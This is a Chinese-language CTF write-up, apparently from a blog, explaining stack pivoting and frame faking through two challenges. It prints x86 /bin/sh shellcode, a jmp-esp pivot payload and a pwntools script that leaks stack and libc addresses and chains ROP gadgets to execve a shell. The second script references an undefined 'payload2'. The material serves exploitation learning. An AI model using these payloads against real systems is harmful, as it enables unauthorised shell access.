1. 程式人生 > >花式棧溢位技巧----stack pivoting/frame faking

花式棧溢位技巧----stack pivoting/frame faking

學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/

                  https://www.jianshu.com/p/c53627895330

1.stack pivoting 轉移堆

 以 X-CTF Quals 2016 - b0verfl0w 為例學習

#若可溢位的棧空間過小,但NX未開啟,可以將eip指向重新指回棧頂,然後重新執行shellcode

32位程式,沒什麼防護,拖進IDA,靠字串定位

可以溢位的空間為50-0x20=18個位元組,空間不夠佈置shellcode,但因為NX保護沒開啟,直接在棧上佈置shellcode

我們可以將eip設定為跳回棧頂,然後開闢相應的esp空間用來執行shellcode

先找到跳回棧頂的語句

exp

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp= 0x08048504
payload=shellcode+(0x20-len(shellcode))*'a'+'bbbb'+p32(jmp_esp) + sub_esp_jmp
cn.sendline(payload)
cn.interactive()

 

2.frame faking

正如這個技巧名字所說的那樣,這個技巧就是構造一個虛假的棧幀來控制程式的執行流

原理: 

概括地講,我們在之前講的棧溢位不外乎兩種方式

  • 控制程式 EIP
  • 控制程式 EBP

其最終都是控制程式的執行流。在 frame faking 中,我們所利用的技巧便是同時控制 EBP 與 EIP,這樣我們在控制程式執行流的同時,也改變程式棧幀的位置。

其實看完wiki裡的這段話我有點似懂非懂的感覺

在建立棧幀是我們肯定要push一個ebp用來之後ret之前恢復環境,那麼我們如果把我們想pop的ebp2覆蓋了原先棧中儲存的ebp,等pop ebp的時候,其實就變為了pop ebp2,以後執行別的函式的時候壓入的ebp也變為了我們想要的ebp2了,再修改eip,執行到ebp2處,就控制了流程

那麼顯然在 fake frame 中,我們有一個需求就是,我們必須得有一塊可以寫的記憶體,並且我們還知道這塊記憶體的地址,這一點與 stack pivoting 相似

例子:2018 年 6 月安恆杯月賽的 over

一個64位檔案,沒有棧保護,開啟了NX,64位檔案的傳參順序要注意

拖入IDA看一下主要函式

read函式可以進行溢位,同時溢位的部分會被puts函式輸出,可以用來檢視我們需要的地址

那麼我們需要的stack地址怎麼求呢,每次stack地址都是會變動的,但是偏移量是一樣的

我們通過設定斷點可以看到原先read函式儲存的ebp地址=0x7fffffffdcb0

偏移量即是改成我們需要的棧頂就好,這裡是rbp-0x70

這裡這個偏移量怎麼看呢,對0x400676設定斷點

我們可以看到剛開始的rbp,rsp相差只有0x1c,但是之後push rbp/sub rsp,50導致儲存的rbp距離棧頂相差就變為0x70了

exp

#主要部分

from pwn import *

cn = process("./over.over")
bin = ELF("./over.over")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def DEBUG(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()

cn.recvuntil('>')
payload='a'*0x50
cn.send(payload)
stack = u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))

#DEBUG("b *0x4006B9\nc")
rdi_ret=0x0000000000400793
main_addr=0x400676
cn.recvuntil('>')
payload='11111111'+p64(rdi_ret)+p64(bin.got['puts'])+p64(bin.symbols['puts'])+p64(main_addr)+(80-40)*'a'+p64(stack)+p64(0x4006be)
cn.sendline(payload)
puts_addr=u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0'))        #leak puts

base_addr=puts_addr-libc.symbols['puts']
execve_addr=base_addr+libc.symbols['execve']
binsh_addr=base_addr+libc.search('/bin/sh').next()
pop_rdx_pop_rsi_ret=base_addr+0x00000000001150c9

fake_eip=bin.symbols['puts']
payload_execv='22222222'+p64(rdi_ret)+p64(binsh_addr)+p64(pop_rdx_pop_rsi_ret)+p64(0)+p64(0)+p64(execve_addr)+(80-56)*'a'+p64(stack-48)+p64(0x4006be)
cn.recvuntil('>')
cn.send(payload2+payload_execv)
cn.interactive()

stack = u64(cn.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70

為什麼在讀到 \x7f 之後截止,再獲取前面的6位元組呢?

原因是雖然在64位計算機中,一個地址的長度是8位元組,但是實際上的計算機記憶體只有16G記憶體以下,所以一般的地址空間只是用了不到 2^48 的地址空間。因此

實際的作業系統中,一個地址的最高位的兩個位元組是00,而且實際棧地址一般是0x7fxxxx開頭的,因此為了避免獲取錯誤的地址值,只需要獲取前面的6位元組值,

然後通過ljust函式把最高位的兩位元組填充成00。 我們還可以用這種一般的寫法:u64(p.recv(6).ljust(8, "\x00"))

同時,format函式可以快速除了各種字串,通過{}和:來代替%

有人問為什麼leak之前要加‘11111111’,而不是直接leak puts呢,因為我們執行完leave,retn之後,會pop ebp之後才能pop eip,所以要空8個位元組出來,我自己糾結了好久